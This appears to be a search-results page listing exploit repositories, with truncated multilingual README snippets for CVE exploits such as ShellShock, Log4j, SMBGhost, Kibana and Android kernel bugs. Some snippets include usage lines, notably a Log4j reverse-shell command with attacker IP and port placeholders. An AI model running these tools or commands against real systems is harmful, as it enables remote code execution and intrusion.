232312 matches found
blind-ssrf-chains
مقدمة ما هو تزوير الطلب من جانب الخادم SSRF؟ يحدث تزوير الطلب من جانب الخادم عندما تتمكن من إجبار الخادم على تقديم طلبات تعسفية نيابة عنك. نظرًا لأن الطلبات تتم بواسطة الخادم، فقد يكون من الممكن الوصول إلى الموارد الداخلية بسبب موقع الخادم في الشبكة. في بيئات السحابة، يشكل SSRF خطرًا أكبر بسبب وج...
CVE-2014-6271-IPFire
CVE-2014-6271 تنفيذ بايثون لـ CVE-2014-6271: IP Fire =2.15 ShellShock RCE استنادًا إلى وحدة Metasploit لنفس الاستغلال EDB ID: 34839 الاستغلال تلقائي. راجع ./CVE-2014-6271.py --help للحصول على مجموعة كاملة من الخيارات تحذير: لا يجوز استخدام الكود الموجود في هذا المستودع إلا للأغراض...
turing-machine
تنفيذ تعليمات برمجية عشوائية في آلة تورينغ الشاملة هذا تنفيذ لآلة تورينغ الشاملة كما وردت في كتاب مينسكي، الحوسبة: الآلات المنتهية واللانهائية، 1967، الفصل 7. المدخل الافتراضي للآلة المُحاكاة هو استغلال exploit يحقق تنفيذ تعليمات برمجية عشوائية. شغّل البرنامج باستخدام $ python3.7...
CVE-2019-13764
CVE-2019-13764 استغلال كامل كتبه فريق أبحاث Haboob تم اختباره على إصدار V8 8.0.0 على نظام Linux ubuntu 18.04 مقالة مدونة مفصلة حول هذه الثغرة: https://blog.haboob.sa/blog/cve-2019-13764-from-root-cause-to-bash...
CVE-2021-22941
الاستخدام python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 المرجع https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2026-43499-S26
CVE-2026-43499 — Exploit du noyau Android GKI 6.12 pselect / configfs Un exploit du noyau Linux pour la branche Android GKI 6.12 appareils Samsung et Pixel ciblant CVE-2026-43499 : un rollback défectueux de removewaiter dans rtmutexstartproxylock qui utilise current au lieu de waiter::task,...
CVE-2026-7654
CVE-2026-7654 CVE-2026-7654 استغلال RCE لحقن كائنات PHP في Admin Columns...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...
CVE-2019-7609
CVE-2019-7609 Kibana Exploit for CVE-2019-7609 in python This exploit can give you RCE NOTE:- THIS IS THE MODIFIED VERSION Help Listening on port 4242 Running exploit Initial Access...
cve-2015-0313
CVE-2015-0313 Adobe Flash vulnerability source code cve-2015-0313 from Angler Exploit Kit Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/...
pacpoc
PACPoC: A local PoC exploit for CVE-2019-2205 To try out this exploit install the "malicious" app PacTest.apk and make exploit.pac available over http with, for example python -m SimpleHTTPServer. Then go to proxy settings on an Android device, select proxy autoconfig, and enter the URL to...
CVE-2022-22963
CVE-2022-22963 spring cloud function spel rce spring cloud function one-click exploitation tool! by charis Blog https://charis3306.top/ Packaged as an exe file, ready to use out of the box Command theme usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --po...
CVE-2020-1472-EXP
Ladon Moudle CVE-2020-1472 Exploit Usage: http://k8gege.org/Ladon/cve-2020-1472.html...
CVE-2019-18634
CVE-2019-18634 N-Day Exploit Slides https://docs.google.com/presentation/d/11DpUy9LlHeuPRSgzaTARHPwlq01vyyqbnJURlG9Ss/edit?usp=sharing Requirements Ubuntu 20.04 sudo 1.8.25 see below for how to build it manually Python3 pwntools Enable pwfeedback sudo visudo Change this line Defaults envreset To...
CVE-2020-0796
CVE-2020-0796 POC لتجاوز السعة عن بُعد POC للتحقق من CVE-2020-0796 / "SMBGhost" الاستخدام تأكد من تثبيت Python، ثم شغّل cve-2020-0796.py...
CVE-2019-0708-exp
CVE-2019-0708-exp...
shakeitoff
shakeitoff نسخة أصغر وأقل حجماً وأنظف من InstallerFileTakeOver المعروف أيضًا باسم الثغرة ذات اليوم الصفر والتي هي "اختلاف" عن CVE-2021-41379 والتي تم تخصيصها لاحقًا CVE-2021-43883. هذه النسخة لا تفتح شيل مثل InstallerFileTakeOver. الهدف من هذا الكود هو إنشاء برهان مفهوم أبسط وأكثر موثوقية لإظهار...
CVE-2026-49085
CVE-2026-49085 CVE-2026-49085 WP Insightly Exploit d'injection d'objet PHP...